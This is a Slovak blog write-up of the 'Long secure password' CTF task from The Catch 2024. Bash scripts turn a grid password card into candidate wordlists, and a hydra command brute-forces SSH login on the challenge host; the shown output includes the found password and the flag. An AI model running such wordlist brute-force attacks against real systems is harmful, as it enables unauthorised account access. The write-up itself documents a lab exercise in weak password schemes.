7. 11. 2024

CTF - The Catch 2024 - Long secure password

Prejdem zo sekcie úloh "Miscellaneous" na sekciu "Security concerns".
Nový kolega prišiel s moderným spôsobom, ako vytvoriť zapamätateľné heslá. Rád by ho implementoval ako nový štandard v TCC. Každý používateľ v TCC-CSIRT dostane kartičku so znakmi v mriežke a vyberie si svoje heslo na základe počiatočného políčka, smeru a počtu znakov.

Pre skeptikov zverejnil svoju kartičku a vyzval kolegov na prihlásenie na jeho vlastný SSH server (password-card-rules.cypherfix.tcc) pod jeho loginom "futurethinker".
Mám úlohu overiť slabiny tejto metódy.

Ako pomôcku dostávam, že kolegovo obľúbené číslo je 18 a teda počet znakov hesla bude pravdepodobne tento.


Stiahnem si z linky https://owncloud.cesnet.cz/index.php/s/XELt8f8DUe1BIYI/download kartu pre generovanie hesiel a prepíšem ju do textovej formy, aby som ju mohol programovo spracovať.

SQUIRELL*JUDGE*NEWS*LESSON
WORRY*UPDATE*SEAFOOD*CROSS
CHAPTER*SPEEDBUMP*CHECKERS
PHONE*HOPE*NOTEBOOK*ORANGE
CARTOONS*CLEAN*TODAY*ENTER
ZEBRA*PATH*VALUABLE*MARINE
VOLUME*REDUCE*LETTUCE*GOAL
BUFFALOS*THE*CATCH*SUPREME
LONG*OCTOPUS*SEASON*SCHEME
CARAVAN*TOBACCO*WORM*XENON
PUPPYLIKE*WHATEVER*POPULAR
SALAD*UNKNOWN*SQUATS*AUDIT
HOUR*NEWBORN*TURN*WORKSHOP
USEFUL*OFFSHORE*TOAST*BOOK
COMPANY*FREQUENCY*NINETEEN
AMOUNT*CREATE*HOUSE*FOREST
BATTERY*GOLDEN*ROOT*WHEELS
SHEEP*HOLIDAY*APPLE*LAWYER
SUMMER*HORSE*WATER*SULPHUR

Teraz by som potreboval skript, ktorý vyberie 18 znakov v smere hore, dole, vľavo, vpravo. Keďže ide o kartičku s 26 x 19 znakmi, mám 9 možností posunu na riadok a 2 možnosti na stĺpec.

To je iba 9 x 19 x 2 + 2 x 26 x 2 = 446 hesiel na vyskúšanie spôsobom brute force. Ak sa mi podarí vygenerovať súbor s heslami, môžem útočiť programom hydra.

#!/bin/bash
# HESLA CO NEPREJDU ZA ROH, IBA 4 SMERY #ZLAVA for r in `cat karta.txt`; do for s in 0 1 2 3 4 5 6 7 8; do echo ${r:$s:18} done done #SPRAVA for r in `cat karta.txt`; do for s in 18 19 20 21 22 23 24 25 26; do for p in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17; do let z=s-p echo -n "${r:$z:1}" done echo done done # nadol for s in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25; do for r in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do ria=`head -$r karta.txt | tail -1` echo -n "${ria:$s:1}" done echo for r in 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19; do ria=`head -$r karta.txt | tail -1` echo -n "${ria:$s:1}" done echo done # nahor for s in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25; do for r in 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1; do ria=`head -$r karta.txt | tail -1` echo -n "${ria:$s:1}" done echo for r in 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2; do ria=`head -$r karta.txt | tail -1` echo -n "${ria:$s:1}" done echo done

Premenné ktoré som použil sú: r-číslo riadku, s-číslo stĺpca, ria-vybraný daný riadok r

Vygeneroval mi 446 hesiel, výstup som presmeroval do súboru slovnik.txt.
Nastal čas spustiť súbor s programom hydra, login a adresu vieme, teraz máme aj zoznam hesiel:

hydra -l futurethinker -P slovnik.txt password-card-rules.cypherfix.tcc -t 1 ssh

Útok heslo nenašiel. Riešenie však tkvelo v detailoch, na obrázku kartičky je dole poznámka, že si mám vybať počiatočný znak a smer, bez prejdenia za okaj. A za textom je niečo ako "kormidlo" zobrazujúce šípky na 8 smerov - potrebujem skúsiť aj šikmé možnosti.


Šikmé heslá

Potrebujem teda vygenerovať slovník so šikmými heslami, ďalšie 4 smery - zľava-hora smerom vpravo-dole, opačne, a sprava-hora smerom vľavo-dole a opačne.

#!/bin/bash

# HESLA CO NEPREJDU ZA ROH, IBA 4 SMERY

# LH-PD
for x in 0 1 2 3 4 5 6 7 8; do
        for y in 0 1; do
                let n=0
                while [ $n -lt 18 ]; do
                        let a=$x+$n
                        let b=$y+$n
                        let p=$b+1
                        ria=`head -$p karta.txt | tail -1`
                        echo -n "${ria:$a:1}"
                        let n=$n+1
                done
                echo
        done
done

# PH-LD
for x in 17 18 19 20 21 22 23 24 25; do
        for y in 0 1; do
                let n=0
                while [ $n -lt 18 ]; do
                        let a=$x-$n
                        let b=$y+$n
                        let p=$b+1
                        ria=`head -$p karta.txt | tail -1`
                        echo -n "${ria:$a:1}"
                        let n=$n+1
                done
                echo
        done
done

# LD-PH
for x in 0 1 2 3 4 5 6 7 8; do
        for y in 17 18; do
                let n=0
                while [ $n -lt 18 ]; do
                        let a=$x+$n
                        let b=$y-$n
                        let p=$b+1
                        ria=`head -$p karta.txt | tail -1`
                        echo -n "${ria:$a:1}"
                        let n=$n+1
                done
                echo
        done
done

# PD-LH
for x in 17 18 19 20 21 22 23 24 25; do
        for y in 17 18; do
                let n=0
                while [ $n -lt 18 ]; do
                        let a=$x-$n
                        let b=$y-$n
                        let p=$b+1
                        ria=`head -$p karta.txt | tail -1`
                        echo -n "${ria:$a:1}"
                        let n=$n+1
                done
                echo
        done
done

S novým slovníkom 72ks hesiel môžem skúsiť ďalší útok:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-10 22:27:49
[DATA] max 4 tasks per 1 server, overall 4 tasks, 72 login tries (l:1/p:72), ~18 tries per task
[DATA] attacking ssh://password-card-rules.cypherfix.tcc:22/
[22][ssh] host: password-card-rules.cypherfix.tcc   login: futurethinker   password: SAOPUNUKTPHCANEMFW
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-10 22:28:19

Perfektné, konečne úspech. Teraz sa už len pripojiť a prečítať vlajku:

$ ssh futurethinker@password-card-rules.cypherfix.tcc
futurethinker@password-card-rules.cypherfix.tcc's password:

Nobody will ever read this message anyway, because the TCC password card is super secure. Even my lunch access-code is safe here:
FLAG{uNZm-GGVK-JbxV-1DIx}


Žiadne komentáre:

Zverejnenie komentára